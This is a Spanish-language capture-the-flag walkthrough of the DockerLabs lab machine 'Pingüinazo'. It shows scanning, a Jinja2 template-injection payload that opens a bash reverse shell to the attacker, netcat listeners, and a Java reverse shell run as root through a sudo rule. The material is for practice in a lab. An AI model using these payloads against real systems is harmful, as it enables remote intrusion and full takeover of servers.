> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/pinguinazo.md).

# Pingüinazo

## 1. Reconocimiento - Nmap

Se comienza con un escaneo de puertos y versiones sobre la maquina objetivo `172.17.0.2`.

```bash
sudo nmap 172.17.0.2 -sV -p- -n -T4
```

![Nmap](/files/6oR1omp8Y3896A8NlGvt)

**Resultado relevante:**

| Puerto   | Estado | Servicio | Version                      |
| -------- | ------ | -------- | ---------------------------- |
| 5000/tcp | open   | HTTP     | Werkzeug 3.0.1 Python 3.12.3 |

El servicio web corre sobre Flask/Werkzeug, asi que se continua con enumeracion HTTP.

***

## 2. Enumeracion Web - Gobuster

Se realiza fuzzing de directorios contra el puerto `5000`.

```bash
gobuster dir -u http://172.17.0.2:5000/ \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,php,txt,py,sh,log
```

![Gobuster](/files/AAcz6xeoNgrClNb1NZSg)

**Hallazgo importante:**

| Recurso    | Codigo | Comentario                   |
| ---------- | ------ | ---------------------------- |
| `/console` | 200    | Consola interactiva Werkzeug |

***

## 3. Consola Werkzeug

Al acceder a `/console`, aparece la consola interactiva de Werkzeug bloqueada por PIN.

```
http://172.17.0.2:5000/console
```

![Werkzeug console](/files/9YEAfPjH40K3IwGGkukp)

La consola no puede usarse directamente sin el PIN, asi que se sigue revisando la aplicacion principal.

***

## 4. Enumeracion de la Aplicacion

La pagina principal muestra un formulario llamado **PinguRegistro**.

![PinguRegistro](/files/Yg15bN7Dd68uxFXsrqmw)

Al enviar datos normales, el campo `PinguNombre` se refleja en la respuesta.

![Reflejo del nombre](/files/UtfZfKRwZ1fMjUApJmUQ)

Tambien se observa que la aplicacion renderiza HTML, ya que el valor enviado aparece interpretado en la respuesta.

![HTML renderizado](/files/DGDIgIO2OCshKfoK1HAM)

Esto apunta a una posible inyeccion de plantillas del lado del servidor.

***

## 5. Explotacion - SSTI en Jinja2

Se prueba una carga para ejecutar comandos mediante el contexto de Jinja2 y obtener una reverse shell.

```jinja2
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"').read() }}
```

Antes de enviar el payload, se deja un listener a la escucha.

```bash
nc -lvnp 4444
```

![SSTI reverse shell](/files/hAilerkvY8xJ0eD1perP)

Se recibe conexion como el usuario `pinguinazo`.

***

## 6. Enumeracion de Privilegios

Dentro de la maquina, se comprueban los permisos de `sudo`.

```bash
sudo -l
```

![sudo -l](/files/czsvK8xIllCfyWmxMsvl)

**Permiso encontrado:**

```
(ALL) NOPASSWD: /usr/bin/java
```

El usuario `pinguinazo` puede ejecutar `java` como root sin contrasena.

***

## 7. Tratamiento de TTY

Se mejora la shell para trabajar de forma mas comoda.

```bash
script -c bash /dev/null
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
```

![Tratamiento de TTY](/files/i0VuVsrG0VOB3HGmlNaO)

***

## 8. Escalada de Privilegios con Java

Se crea un archivo Java que ejecuta una reverse shell hacia la maquina atacante por el puerto `4445`.

```java
public class shell {
  public static void main(String[] args) {
    Process p;
    try {
      p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/172.17.0.1/4445 0>&1");
      p.waitFor();
      p.destroy();
    } catch (Exception e) {}
  }
}
```

![Reverse shell Java](/files/RbuYd55NpGwLKYOpwCa1)

Se prepara otro listener:

```bash
nc -lvnp 4445
```

Y se ejecuta el archivo usando el permiso sudo permitido:

```bash
sudo /usr/bin/java reverse.java
```

![Root shell](/files/j2Bttz4845Dl3B144CTb)

La conexion entra como `root`.

```bash
id
```

```
uid=0(root) gid=0(root) groups=0(root)
```

***

## Resumen

| Paso | Tecnica               | Resultado                          |
| ---- | --------------------- | ---------------------------------- |
| 1    | Nmap                  | HTTP en `5000` con Werkzeug        |
| 2    | Gobuster              | Ruta `/console` encontrada         |
| 3    | Enumeracion web       | Consola Werkzeug bloqueada por PIN |
| 4    | Pruebas en formulario | Input reflejado y HTML renderizado |
| 5    | SSTI Jinja2           | Reverse shell como `pinguinazo`    |
| 6    | `sudo -l`             | `java` con NOPASSWD                |
| 7    | Java con sudo         | Reverse shell como root            |

***

## Conclusion

La maquina se compromete explotando una inyeccion de plantillas en una aplicacion Flask/Werkzeug. El payload Jinja2 permite ejecutar comandos y obtener una shell como `pinguinazo`. La escalada se completa abusando del permiso `sudo` sobre `/usr/bin/java`, ejecutando una reverse shell con privilegios de root.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/pinguinazo.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
